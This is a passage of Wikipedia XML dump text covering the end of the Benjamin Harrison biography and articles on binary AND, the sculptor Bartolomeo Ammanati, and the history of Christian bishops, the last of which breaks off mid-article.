| term_end=[[March 3]], [[1893]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;
| predecessor=[[Grover Cleveland]]
| successor=[[Grover Cleveland]]
| birth_date=[[August 20]], [[1833]]
| birth_place=[[North Bend, Ohio|North Bend]], [[Ohio]]

| death_date=[[March 13]], [[1901]]
| death_place=[[Indianapolis, Indiana|Indianapolis]], [[Indiana]]
| spouse=[[Caroline Harrison|Caroline Scott Harrison]]
| party=[[Republican Party (United States)|Republican]]
| vicepresident=[[Levi P. Morton]]
}}
'''Benjamin Harrison VI''' ([[August 20]], [[1833]] &amp;ndash; [[March 13]], [[1901]]) was the 23rd [[President of the United States]]. Serving one term from 1889 to 1893, he was from the state of [[Indiana]] and had previously served as a [[senator]] from that state.

==Biography==
A grandson of President [[William Henry Harrison]] and great-grandson of [[Benjamin Harrison V]], Benjamin was born at 8:57 pm, on Tuesday [[August 20]], [[1833]] in [[North Bend, Ohio|North Bend]], [[Hamilton County, Ohio]] to [[John Scott Harrison]] (later a U.S. [[Congressman]] from [[Ohio]]) and Elizabeth Ramsey Irwin. He attended [[Miami University]], [[Oxford, Ohio]], where he was a member of the [[fraternities and sororities|fraternity]] [[Phi Delta Theta]], (later in life, he joined a legal fraternity that would become [[Delta Chi]]) and graduated in 1852. He studied law in [[Cincinnati, Ohio|Cincinnati]] then moved to [[Indianapolis, Indiana|Indianapolis]] in 1854. He was admitted to the [[bar (law)|bar]] and became [[reporter of the decisions]] of the [[Indiana Supreme Court|state supreme court]].

Harrison served in the [[Union Army]] during the [[American Civil War|Civil War]], [[brevet (military)|brevet]]ting as a [[brigadier general]], and mustering out in 1865. While in the field in October 1864, he was re-elected reporter of the State supreme court and served four years. He was an unsuccessful [[United States Republican Party|Republican]] candidate for [[Governor of Indiana]] in 1876. He was appointed a member of the [[Mississippi River Commission]] in 1879, and elected as a Republican to the [[United States Senate]], where he served from [[March 4]], [[1881]], to [[March 3]], [[1887]]. He was chairman of the [[U.S. Senate Committee on Transportation Routes to the Seaboard]] ([[Forty-seventh United States Congress|47th Congress]]) and [[U.S. Senate Committee on Territories]] ([[Forty-eighth United States Congress|48th]] and [[Forty-ninth United States Congress|49th Congress]]es).

Harrison was married twice.  On October 20, 1853, he married [[Caroline Lavinia Scott Harrison|Caroline Lavina Scott]] (1832-1892). They had two surviving children, Russell Benjamin Harrison (1854-1936) and Mary Scott Harrison (1858-1930).  After Caroline Harrison's death of [[tuberculosis]] in 1892, while Harrison was in office, he married his wife's widowed niece and former secretary [[Mary Scott Lord Dimmick]] (1858-1948) on April 6, 1896.  They had one daughter, [[Elizabeth Harrison]] (1897-1955).

==Presidency 1889-1893==
===Policies===
After beating [[John Sherman]] for the Republican presidential nomination, Harrison was elected President of the United States in 1888. In the [[U.S. presidential election, 1888|Presidential election]], Harrison received 100,000 fewer popular votes than incumbent President [[Grover Cleveland]], but carried the [[Electoral College]] 233 to 168. Although Harrison had made no political bargains, his supporters had given innumerable pledges upon his behalf. When Boss [[Matthew Quay]] of [[Pennsylvania]] heard that Harrison ascribed his narrow victory to Providence, Quay exclaimed that Harrison would never know &quot;how close a number of men were compelled to approach...the penitentiary to make him President.&quot; He was inaugurated on [[March 4]], [[1889]], and served through [[March 3]], [[1893]]. Harrison was also known as the &quot;centennial president&quot; because his inauguration was the 100th anniversary of the inauguration of [[George Washington]]. 

[[Image:BenjaminHarrison2.jpe|thumb|200px|left|Benjamin Harrison]]

For Harrison, [[Civil Service|Civil Service Reform]] was a no-win situation.  Congress was split so far apart on the issue that agreeing to any measure for one side would alienate the other.  The issue became a popular [[political football]] of the time and was immortalized in [http://en.wikipedia.org/wiki/Image:Harrison_Football_Political_Cartoon.jpg a cartoon] captioned &quot;What can I do when both parties insist on kicking?&quot;

Harrison was proud of the vigorous foreign policy which he helped shape. The first [[Pan-American Congress]] met in [[Washington, D.C.]] in 1889, establishing an information center which later became the [[Organization of American States|Pan American Union]]. At the end of his administration, Harrison submitted to the Senate a treaty to annex [[Hawaii]]; to his disappointment, President Cleveland later withdrew it. 

Substantial appropriation bills were signed by Harrison for internal improvements, naval expansion, and [[subsidies]] for [[steamship]] lines. For the first time except in war, Congress appropriated a billion dollars. When critics attacked &quot;[[Fifty-first United States Congress|the billion-dollar Congress]],&quot; Speaker [[Thomas B. Reed]] replied, &quot;This is a billion-dollar country.&quot; President Harrison also signed the [[Sherman Antitrust Act]] &quot;to protect [[trade]] and [[commerce]] against unlawful restraints and [[monopolies]],&quot; the first Federal act attempting to regulate [[trusts]]. 

The most perplexing domestic problem Harrison faced was the [[tariff]] issue. The high tariff rates in effect had created a surplus of money in the Treasury. Low-tariff advocates argued that the surplus was hurting business. Republican leaders in Congress successfully met the challenge. Representative [[William McKinley]] and Senator [[Nelson W. Aldrich]] framed a still higher tariff bill; some rates were intentionally prohibitive. 

[[Image:Benjamin Harrison.jpg|thumb|200px|right|Benjamin Harrison]]

Harrison tried to make the tariff more acceptable by writing in reciprocity provisions. To cope with the Treasury surplus, the tariff was removed from imported raw [[sugar]]; sugar growers within the United States were given two cents a pound bounty on their production.

Long before the end of the Harrison Administration, the Treasury surplus had evaporated, and prosperity seemed about to disappear as well. Congressional elections in [[1890]] went stingingly against the Republicans, and party leaders decided to abandon President Harrison although he had cooperated with Congress on party legislation. Nevertheless, his party renominated him in 1892, but he was defeated by Cleveland. Just 2 weeks earlier, on [[October 25]], [[1892]], Harrison's wife, Caroline died after a long battle with [[tuberculosis]].

===Significant events===
* [[Sherman Antitrust Act]] (1890)
* [[Sherman Silver Purchase Act]] (1890)
* [[McKinley Tariff]] (1890)
* [[Ocala Demands]] (1890)
* [[Wounded Knee Massacre]] (1890)

===Administration and Cabinet===
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''[[Benjamin Harrison]]'''||align=&quot;left&quot;|1889&amp;ndash;1893
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Levi P. Morton]]'''||align=&quot;left&quot;|1889&amp;ndash;1893
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[James G. Blaine]]'''||align=&quot;left&quot;|1889&amp;ndash;1892
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John W. Foster]]'''||align=&quot;left&quot;|1892&amp;ndash;1893
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[William Windom]]'''||align=&quot;left&quot;|1889&amp;ndash;1891
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Charles Foster]]'''||align=&quot;left&quot;|1891&amp;ndash;1893
|-ūí
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[Redfield Proctor]]'''||align=&quot;left&quot;|1889&amp;ndash;1891
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Stephen B. Elkins]]'''||align=&quot;left&quot;|1891&amp;ndash;1893
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[William H. H. Miller]]'''||align=&quot;left&quot;|1889&amp;ndash;1891
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[John Wanamaker]]'''||align=&quot;left&quot;|1889&amp;ndash;1893
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[Benjamin F. Tracy]]'''||align=&quot;left&quot;|1889&amp;ndash;1893
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[John W. Noble]]'''||align=&quot;left&quot;|1889&amp;ndash;1893
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court appointments===
Harrison appointed the following Justices to the [[Supreme Court of the United States]]:

* [[David Josiah Brewer]] - 1890
* [[Henry Billings Brown]] - 1891
* [[George Shiras, Jr.]] - 1892
* [[Howell Edmunds Jackson]] - 1893

===States admitted to the Union===
* [[North Dakota]] &amp;ndash; 1889
* [[South Dakota]] &amp;ndash; 1889
* [[Montana]] &amp;ndash; 1889
* [[Washington]] &amp;ndash; 1889
* [[Idaho]] &amp;ndash; 1890
* [[Wyoming]] &amp;ndash; 1890

When North and South Dakota were admitted to the Union. Harrison covered the tops of the bills and shuffled them so that he could only see the bottom. He signed them and we will never know which state was the 39th or the 40th!

==Post-presidency==
After he left office, Harrison returned to Indianapolis and remarried. 

He served as an attorney for the Republic of [[Venezuela]] in the boundary dispute between Venezuela and the [[United Kingdom]] in [[1900]].  

Harrison developed the flu and a bad cold in [[February]] of [[1901]]. Despite treatment by steam vapor inhalation, Harrison's condition only worsened. Benjamin Harrison VI finally passed away from [[influenza]] and [[pneumonia]] on Wednesday, [[March 13]], [[1901]] and is interred in [[Crown Hill Cemetery]].

==Legacy==
The [[Benjamin Harrison Law School]] in [[Indianapolis]], [[Indiana]], was named in his honor. In 1944, [[Indiana University system|Indiana University]] acquired the school and renamed it [[Indiana University School of Law Indianapolis]].

A U.S. Army base, Fort Benjamin Harrison, was established after Harrison's death in Indianapolis, but it was closed in the 1990s.

==References==
* [http://www.questia.com/PM.qst?a=o&amp;d=9950113 Davis R. Dewey. '' National Problems: 1880-1897'' (1907)]
* H. Wayne Morgan, ''From Hayes to McKinley: National Party Politics, 1877-1896'' (1969)
* Harry J.Sievers, ''Benjamin Harrison'':  v1 ''Hoosier Warrior, 1833-1865'';  v2: ''Hoosier Statesman From The Civil Was To The White House 1865-1888'' (1959); v3: ''Benjamin Harrison. Hoosier President. The White House and After'' (1968)
Homer E. Socolofsky, ''The Presidency of Benjamin Harrison'' (1987) (ISBN: 0700603204)

===Primary Sources===
* [http://www.questia.com/PM.qst?a=o&amp;d=99596344 Albert T. Volwiler, ed. ''The Correspondence between Benjamin Harrison and James G. Blaine, 1882-1893'' (1940)]

==Trivia==
*[[Benjamin Harrison]] might be the first President whose voice was recorded. This recording, which was originally made on a [[phonograph cylinder]], can be accessed [http://www.presidency.ucsb.edu/mediaplay.php?id=196&amp;admin=23 here].
*Harrison was the last President to wear a beard while in office, but not the last to sport facial hair. [[Theodore Roosevelt]] and [[William Howard Taft]] both had [[moustache|moustaches]].
*Harrison had [[electricity]] installed in the White House for the first time, but he and his wife reportedly would not touch the light switches for fear of [[electrocution]].
*On [[June 7]], [[1892]] Harrison became the first president to ever attend a baseball game. 
&lt;!-- No supporting references, and a broken link.: *Harrison has [[African-American]] descendants residing in the [[Washington D.C.]] suburbs.  See [[L.M.]]--&gt;

==Media==
{{Listen|title=Recording of Harrison|filename=Benjamin Harrison speech.ogg|description=The only known recording of President Harrison, presumably made after his presidency sometime between 1894 and 1899 by Giuseppe Bettini.}}

==See also==
* [[U.S. presidential election, 1888]]
* [[U.S. presidential election, 1892]]
* [[History of the United States (1865-1918)]]

== External links ==
{{wikisource author}}
* [http://www.whitehouse.gov/history/presidents/bh23.html Official White House biography]
* [http://www.usa-presidents.info/inaugural/bharrison.html Inaugural Address]
* [http://www.lib.msu.edu/vincent/presidents/harrison.htm Audio clip of Benjamin Harrison's voice]
* [http://www.usa-presidents.info/union/harrison-1.html First State of the Union Address of Benjamin Harrison]
* [http://www.usa-presidents.info/union/harrison-2.html Second State of the Union Address of Benjamin Harrison]
* [http://www.usa-presidents.info/union/harrison-3.html Third State of the Union Address of Benjamin Harrison]
* [http://www.usa-presidents.info/union/harrison-4.html Fourth State of the Union Address of Benjamin Harrison]
* [http://www.presidentbenjaminharrison.org/ The Indianapolis Home of Benjamin Harrison]
* [http://www.doctorzebra.com/prez/g23.htm Benjamin Harrison's Health and Medical History]
* {{gutenberg author| id=Benjamin+Harrison | name=Benjamin Harrison}}

{{start box}}
{{succession box|
  title=[[List of United States Senators from Indiana|U.S. Senator from Indiana]]|
  before=[[Joseph E. McDonald]]|
  after=[[David Turpie]]|
  years=[[1881]]-[[1887]]}}
{{succession box|
  title=[[List of United States Republican Party presidential tickets|Republican Party Presidential candidate]]|
  before=[[James G. Blaine]]|
  after=[[William McKinley]]|
  years=[[U.S. presidential election, 1888|1888]] (won), [[U.S. presidential election, 1892|1892]] (lost)}}
{{succession box|
  title=[[President of the United States]]|
  before=[[Grover Cleveland]]|
  after=[[Grover Cleveland]]|
  years=[[March 4]], [[1889]] &amp;ndash; [[March 3]], [[1893]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;|}}
{{end box}}

{{USRepPresNominees}}
{{USpresidents}}
[[Category:1833 births|Harrison, Benjamin]]
[[Category:1901 deaths|Harrison, Benjamin]]
[[Category:People from Ohio|Harrison, Benjamin]]
[[Category:American Civil War people|Harrison, Benjamin]]
[[Category:United States Army generals|Harrison, Benjamin]]
[[Category:Republican Party (United States) presidential nominees|Harrison, Benjamin]]
[[Category:Miami University alumni|Harrison, Benjamin]]
[[Category:United States Senators from Indiana|Harrison, Benjamin]]
[[Category:Presidents of the United States|Harrison, Benjamin]]
[[Category:First Families of Virginia|Harrison, Benjamin]]
[[Category:Phi Delta Theta brothers|Harrison, Benjamin]]

[[bg:Бенджамин Харисън]]
[[ca:Benjamin Harrison]]
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[[de:Benjamin Harrison]]
[[es:Benjamin Harrison]]
[[eo:Benjamin HARRISON]]
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[[gl:Benjamin Harrison]]
[[ko:벤저민 해리슨]]
[[hr:Benjamin Harrison]]
[[id:Benjamin Harrison]]
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[[he:בנג'מין הריסון]]
[[ka:ჰარისონი, ბენჯამინ]]
[[nl:Benjamin Harrison]]
[[ja:ベンジャミン・ハリソン]]
[[no:Benjamin Harrison]]
[[nn:Benjamin Harrison]]
[[pl:Benjamin Harrison]]
[[pt:Benjamin Harrison]]
[[sq:Benjamin Harrison]]
[[simple:Benjamin Harrison]]
[[fi:Benjamin Harrison]]
[[sv:Benjamin Harrison]]</text>
    </revision>
  </page>
  <page>
    <title>Binary and</title>
    <id>4090</id>
    <revision>
      <id>15902390</id>
      <timestamp>2005-05-25T23:32:57Z</timestamp>
      <contributor>
        <username>Zigger</username>
        <id>42667</id>
      </contributor>
      <comment>+ See also &amp; links</comment>
      <text xml:space="preserve">If two conditions are combined by '''''and''''', they must both be true for the compound condition to be true as well.

Likewise, two [[bit]]s may be combined with ''and'':

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;&gt;
&lt;tr&gt;&lt;th&gt;x &lt;th&gt;y &lt;th&gt;x AND y
&lt;tr&gt;&lt;td&gt; 0 &lt;td&gt;0 &lt;td align=&quot;center&quot;&gt;0
&lt;tr&gt;&lt;td&gt; 0 &lt;td&gt;1 &lt;td align=&quot;center&quot;&gt;0
&lt;tr&gt;&lt;td&gt; 1 &lt;td&gt;0 &lt;td align=&quot;center&quot;&gt;0
&lt;tr&gt;&lt;td&gt; 1 &lt;td&gt;1 &lt;td align=&quot;center&quot;&gt;1
&lt;/table&gt;

I.e. the result is 1, if both x and y are 1, and 0 otherwise. If 0 is equated with ''false'', and 1 with ''true'' the ''bit and'' operation works like our ''logical and''.

''Binary and'' can work on [[binary numeral system|binary]] numbers of any size, the numbers are simply ''and''ed digit by digit. For example:

       x:  10001101
       y:  01010111
 x AND y:  00000101

(Only in the first, and third column from the right, both operands had 1 digits.)

''and'' is often called ''[[mask (computing)|mask]]ing'', because y can be seen as a mask which is transparent (1) in some places (x will shine through), and black (0) in others (x will be blocked).

==See also==
*[[Bitwise operation]]
*[[Logical conjunction]]

[[Category: Computer arithmetic]]</text>
    </revision>
  </page>
  <page>
    <title>Bartolomeo Ammanati</title>
    <id>4091</id>
    <revision>
      <id>37287165</id>
      <timestamp>2006-01-30T00:52:35Z</timestamp>
      <contributor>
        <username>Sailko</username>
        <id>824323</id>
      </contributor>
      <text xml:space="preserve">'''Bartolomeo Ammanati''' (Settignano, a hill of [[Florence]] [[1511]] - [[Florence]] [[1592]]) was a Florentine [[architect]] and [[Sculpture|sculptor]]. 

Ammanati studied under [[Baccio Bandinelli]] and [[Jacopo Sansovino]] (assisting on the Library of [[St. Mark's]] ,Venice) and closely imitated the style of [[Michelangelo]].  

He was more distinguished in architecture than in sculpture.  He designed many buildings in [[Rome]], which included work at the [[Villa Giulia]] complex (in collaboration with [[Vignola]] and [[Vasari]]), also at  [[Lucca]] and [[Florence, Italy|Florence]].  His work at the completion of [[Pitti Palace]], commissioned by Eleonora of Toleda, wife of [[Cosimo I]], is one of his most celebrated achievements (1558-1570), respecting the original style of [[Filippo Brunelleschi]].

He was also employed in [[1569]] to build the beautiful bridge over the [[Arno]], known as Ponte della Trinità--one of his celebrated works.  The three arches are elliptic, and though very light and elegant, have resisted the fury of the river, which has swept away several other bridges at different times.  It was destroyed in 1944 during WW II and rebuilt in 1957.

[[Image:Firenze.Neptune01.JPG|thumb|right|250px|Fountain of Neptune]]
Another of his most important works was the marble and bronze fountain of Neptune for the [[Piazza della Signoria]]. The assignment was originally given to the ageing [[Bartolommeo Bandinelli]]. On his death, Ammanati won the competition for the continuing of this assignment over other famous sculptors, such as [[Benvenuto Cellini]] and [[ Vincenzo Danti ]]. He worked between 1563 and 1565 on the original block of marble (chosen by Bandinelli), together with his assistants, among which [[Giambologna]]. He took Grand Duke [[Cosimo I]] as model for Neptune's face. When the work on the ungainly sea god was finished, [[Michelangelo]] scoffed at Ammanati that he had ruined a beautiful piece of marble. Ammanati continued working on this fountain for another ten years, adding, in a [[mannerist]] style,  around the perimeter suave bronze reclining river gods,  laughing [[satyr]]s and marble sea horses emerging from the water. The whole gives nevertheless a coherent impression. The fountain served as an example for future fountain-makers.

Other famous sculptures by Ammanati : 
* the marble statue ''Victory'' (1540), Museo Nazionale del Bargello, Florence
* the marble statue ''Leda with the Swan'' in the Museo Nazionale del Bargello in Florence.
* the marble statue ''Parnassus (''1563), Museo Nazionale del Bargello, Florence
* the stone statue ''Allegory of Winter'' (1563-65), Villa Medici, Castello
* the bronze statue ''Goddess Opi'' (1572-75), Palazzo Vecchio, Florence

In [[1550]] Ammanati married Laura Battiferri, an elegant poet and an accomplished woman. Later in his life he had a religious crisis, influenced by [[Counter-Reformation]] piety,  which resulted in condemning  his own works depicting [[nudity]], and he left all his possessions to the [[Jesuits]].

==References==
*{{1911}}

[[Category:1511 births|Ammanati, Bartolomeo]]
[[Category:1592 deaths|Ammanati, Bartolomeo]]
[[Category:Italian architects|Ammanati, Bartolomeo]]
[[Category:Italian sculptors|Ammanati, Bartolomeo]]
[[Category:Natives of Tuscany|Ammannati]]
[[Category:Mannerism sculptors|Ammannati]]

[[de:Bartolomeo Ammanati]]
[[fr:Bartolomeo Ammanati]]
[[it:Bartolomeo Ammannati]]
[[nl:Bartolomeo Ammanati]]
[[pl:Bartolomeo Ammanati]]
[[sv:Bartolomeo Ammanati]]</text>
    </revision>
  </page>
  <page>
    <title>Bishop</title>
    <id>4092</id>
    <revision>
      <id>41910381</id>
      <timestamp>2006-03-02T15:35:46Z</timestamp>
      <contributor>
        <username>Urshyam</username>
        <id>390483</id>
      </contributor>
      <comment>/* Christian Methodist Episcopal Church */ Removing image with no source information. Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">{{christianity}}

''This article is about a religious Bishop.''
{{otheruses}}
A '''bishop''' is an [[ordained]] member of the [[Clergy#Christian_clergy|Christian clergy]] who, in certain [[Christianity|Christian]] churches, holds a position of authority.

==Meaning of bishop==
The [[etymology]] of the word ''bishop'' comes from the [[Greek language|Greek]] word ''episkopos'' (&amp;epsilon;&amp;pi;&amp;iota;&amp;sigma;&amp;kappa;&amp;omicron;&amp;pi;&amp;omicron;&amp;sigmaf;), which can be generally translated as ''bishop'', ''overseer'', ''superintendent'', ''supervisor'', or ''foreman''. From the word ''episkopos'' are derived the English words ''episcopacy'', ''episcopate'' and ''episcopal''.

==Bishops in the New Testament==
The [[New Testament]] uses the word ''episkopos'' five times.
*[[Acts of the Apostles]] 20:28
*[[Epistle to the Philippians]] 1:1
*[[First Epistle to Timothy]] 3:2
*[[Epistle to Titus]] 1:7
*[[First Epistle of Peter]] 2:25
Words related to ''episkopos'' are used in two other verses. Some English Bibles translate this word as ''bishop'' ([[King James Version|KJV]], [[Revised Standard Version|RSV]], [[New Revised Standard Version|NRSV]], etc.), while others, attempting to distance themselves from certain types of church [[hierarchy]], use a more neutral alternative, such as &quot;overseers&quot; ([[New International Version|NIV]], [[English Standard Version|ESV]], etc.).

The ministry of these [[New Testament]] ''episkopoi'' was not directly commissioned by [[Jesus]], but appears to be a natural, practical development of the church during the first and second centuries AD. The portions of the New Testament that mention ''episkopoi'' do not appear to be ordering a new type of ministry, but giving instructions for an already existent position within the early church. In places (particularly in the verses from the [[Epistle to Titus]]) it appears that the position of ''episkopos'' is similar or the same as that of ''[[presbyter]]'' (''&amp;pi;&amp;rho;&amp;epsilon;&amp;sigma;&amp;beta;&amp;upsilon;&amp;tau;&amp;epsilon;&amp;rho;&amp;omicron;&amp;sigmaf;''), or [[Elder (religious)|elder]], and, later, [[priest]].  The Epistle to Timothy mentions [[deacon]]s (''&amp;delta;&amp;iota;&amp;alpha;&amp;kappa;&amp;omicron;&amp;nu;&amp;omicron;&amp;iota;'') in a manner that suggests that the office of deacon differs from the office of the bishop, and is subordinate to it, though it carries similar qualifications.

In the [[Acts of the Apostles]], episkopoi are mentioned as being ''shepherds'' of the ''flock'', imagery that is still in use today. The other passages from the [[New Testament]] describe them as stewards or administrators, and teachers. In [[First Epistle to Timothy|1 Timothy]] episkopoi are required to be 'the husband of but one wife'. It is unclear whether this forbids men who have married a second time in series, or [[polygamy|polygamists]]. However, it is clear that the New Testament has no prohibition against bishops marrying and having children.

It is interesting to note that in the second chapter of the [[First Epistle of Peter|1 Peter]], [[Jesus]] is described as 'the Shepherd and ''Episkopos'' of your souls' (''&amp;tau;&amp;omicron;&amp;nu; &amp;pi;&amp;omicron;&amp;iota;&amp;mu;&amp;epsilon;&amp;nu;&amp;alpha; &amp;kappa;&amp;alpha;&amp;iota; &amp;epsilon;&amp;pi;&amp;iota;&amp;sigma;&amp;kappa;&amp;omicron;&amp;pi;&amp;omicron;&amp;nu; &amp;tau;&amp;omega;&amp;nu; &amp;psi;&amp;upsilon;&amp;chi;&amp;omega;&amp;nu; &amp;upsilon;&amp;mu;&amp;omega;&amp;nu;'').

==Bishops in the Apostolic Fathers==
At the turn of the first century AD, the church started to acquire a clear organisation. In the works of the [[Apostolic Fathers]], and [[Ignatius of Antioch]] in particular, the role of the episkopos, or bishop, became more important.

&lt;blockquote&gt;''&quot;Plainly therefore we ought to regard the bishop as the Lord Himself&quot;'' &amp;mdash; Epistle of Ignatius to the Ephesians 6:1.&lt;br&gt;
''&quot;your godly bishop&quot;'' &amp;mdash; Epistle of Ignatius to the Magnesians 2:1.&lt;br&gt;
''&quot;the bishop presiding after the likeness of God and the presbyters after the likeness of the council of the Apostles, with the deacons also who are most dear to me, having been entrusted with the diaconate of Jesus Christ&quot;'' &amp;mdash; Epistle of Ignatius to the Magnesians 6:1.&lt;br&gt;
''&quot;Therefore as the Lord did nothing without the Father, [being united with Him], either by Himself or by the Apostles, so neither do ye anything without the bishop and the presbyters.&quot;'' &amp;mdash; Epistle of Ignatius to the Magnesians 7:1.&lt;br&gt;
''&quot;Be obedient to the bishop and to one another, as Jesus Christ was to the Father [according to the flesh], and as the Apostles were to Christ and to the Father, that there may be union both of flesh and of spirit.&quot;'' &amp;mdash; Epistle of Ignatius to the Magnesians 13:2.&lt;br&gt;
''&quot;In like manner let all men respect the deacons as Jesus Christ, even as they should respect the bishop as being a type of the Father and the presbyters as the council of God and as the college of Apostles. Apart from these there is not even the name of a church.&quot;'' &amp;mdash; Epistle of Ignatius to the Trallesians 3:1.&lt;br&gt;
''&quot;follow your bishop, as Jesus Christ followed the Father, and the presbytery as the Apostles; and to the deacons pay respect, as to God's commandment&quot;'' &amp;mdash; Epistle of Ignatius to the Smyrnans 8:1.&lt;br&gt;
''&quot;He that honoureth the bishop is honoured of God; he that doeth aught without the knowledge of the bishop rendereth service to the devil&quot;'' &amp;mdash; Epistle of Ignatius to the Smyrnans 9:1.&lt;br&gt;
&lt;div style=&quot;text-align:right&quot;&gt;&amp;mdash; Lightfoot translation.&lt;/div&gt;&lt;/blockquote&gt;

It is clear that, by this period, a single bishop was expected to lead the church in each centre of Christian mission, supported by a council of [[presbyter]]s (now a distinct and subordinate position) with a pool of [[deacon]]s. As the church continued to expand, new churches in important cities gained their own bishop, but churches in the regions around an important city were served by presbyters and deacons from the bishop's city church. Thus, in time, the bishop changed from being the leader of a single church to being the leader of the churches of a given geographical area.

==Bishops and civil government==
The efficient infrastructure of the [[Roman Empire]] became the template for the organization of the church in the [[4th century|fourth century]], particularly after the [[Edict of Milan]]. As the church moved from the shadows of privacy into the public forum it acquired land for churches, burials and clergy. In 391, [[Theodosius I]] decreed that any land that had been confiscated from the church by Roman authorities be returned.

The most usual term for the geographical area of a bishop's authority and ministry, the [[diocese]], began as part of the structure of the [[Roman Empire]] under [[Diocletian]]. As Roman authority began to fail in the western portion of the empire, the church took over much of the civil administration. This can be clearly seen in the ministry of two [[pope]]s: [[Pope Leo I]] in the [[5th century|fifth century]], and [[Pope Gregory I]] in the [[6th century|sixth century]]. Both of these men were statesmen and public administrators in addition to their role as Christian pastors, teachers and leaders. In the Eastern churches, [[latifundia]] entailed to a bishop's [[see]] were much less common, the state power did not collapse the way it did in the West, and thus the tendency of bishops acquiring secular power was much weaker than in the West. However, the role of Western bishops as civil authorities, often called [[Prince-Bishop|prince bishop]]s, continued throughout much of the Middle Ages.

===Sovereign bishops===
[[Image:Popebenedictxvi firsttimeonthrone.jpg|thumb|left|[[Pope Benedict XVI]], Bishop of Rome]]
The most important of these [[Prince-Bishop|prince bishop]]s was the [[Pope]], who ruled as monarch of the [[Papal States]] by virtue of his title as Bishop of [[Rome]].  His claim to this [[fief]] rested on the forged [[Donation of Constantine]], but in fact his authority over this kingdom in central Italy grew slowly after the collapse of Roman and [[Byzantine Empire|Byzantine]] authority in the area. The Papal States were abolished when [[Victor Emmanuel II of Italy|King Victor Emmanuel II]] took possession of Rome in [[1870]] and completed the reunification of Italy.  This became a perennial source of tension between the Papacy and the government of Italy. In [[1929]], [[Pope Pius XI]] made a deal with the [[Fascism|Fascist]] government of [[Benito Mussolini]] and became the independent sovereign of the [[Vatican City|Vatican]], while giving up any rights to the rest of the former Papal States. He was recognised as an independent [[monarch]] by the [[Lateran Treaties]], an authority the current Pope continues to hold. The only other bishop who is a [[head of state]] is the [[Bishop of Urgell]], a [[List of Co-Princes of Andorra|Co-Prince of Andorra]].

Three senior bishops served as [[prince-elector|Electors]] in the [[Holy Roman Empire]]. By the terms of the [[Golden Bull]] of [[1356]], the Archbishops of [[Archbishopric of Mainz|Mainz]], [[Archbishopric of Trier|Trier]], and [[Archbishopric of Cologne|Cologne]] were made permanent electors, who chose the next [[Holy Roman Emperor]] upon the death of his predecessor. The Archbishop of Mainz was President of the Electors and [[Chancellor|Archchancellor]] of Germany. Likewise, the Archbishop of Cologne was Archchancellor of [[Italy]], and the Archbishop of Trier was Archchancellor of [[Burgundy]]. A number of other bishops within the Holy Roman Empire, although not being Electors, were sovereign prince-bishops in their own lands.

===Bishops holding political office===
As well as the Archchancellors of the [[Holy Roman Empire]], bishops generally served as [[chancellor]]s to mediaeval monarchs, serving as head of the [[justiciary]] and chief [[chaplain]]. The [[Lord Chancellor]] of [[England]] was almost always a bishop up until the dismissal of [[Thomas Cardinal Wolsey]] by [[Henry VIII of England|Henry VIII]]. Likewise, the position of [[Kanclerz]] in the [[Polish kingdom]] was always a bishop until the [[16th century|sixteenth century]].

In [[France]] before the [[French Revolution]], representatives of the clergy &amp;mdash; in practice, bishops and [[abbot]]s of the largest [[monastery|monasteries]] &amp;mdash; comprised the [[First Estate]] of the [[French States-General|Estates-General]], until their role was abolished during the [[French Revolution]].

The more senior bishops of the [[Church of England]] continue to sit in the [[House of Lords]] of the [[Parliament of the United Kingdom]], as representatives of the [[established church]], and are known as [[Lord Spiritual|Lords Spiritual]]. The [[Bishop of Sodor and Man]], whose [[diocese]] lies outside of the [[United Kingdom]], is ''ex officio'' a member of the [[Legislative Council (Isle of Man)|Legislative Council]] of the [[Isle of Man]]. In the past, the [[Bishop of Durham]], known as a [[Prince-Bishop|prince bishop]], had extensive viceregal powers within his northern diocese &amp;mdash; the power to mint money, collect taxes and raise an army to defend against the [[Scottish people|Scots]]. 

[[Image:Archbishop Williams.jpg|thumb|250px|right|Dr [[Rowan Williams]]&lt;br&gt;the current [[Archbishop of Canterbury]]]]

===Episcopacy during the English Civil War===
During the period of the [[English Civil War]] (or rather, Civil Wars), the role of bishops as wielders of political power and as upholders of the [[established church]] became a matter of heated political controversy.  [[John Calvin]] formulated a doctrine of [[Presbyterianism]], which held that in the New Testament the offices of ''presbyter'' and ''episkopos'' were identical; he rejected the doctrine of apostolic succession.  Calvin's follower [[John Knox]] brought Presbyterianism to [[Scotland]] when the Scottish church was reformed in [[1560]].  In practice, presbyterianism meant that committees of lay elders had a substantial voice in church government, as opposed to merely being subjects to a ruling hierarchy.  

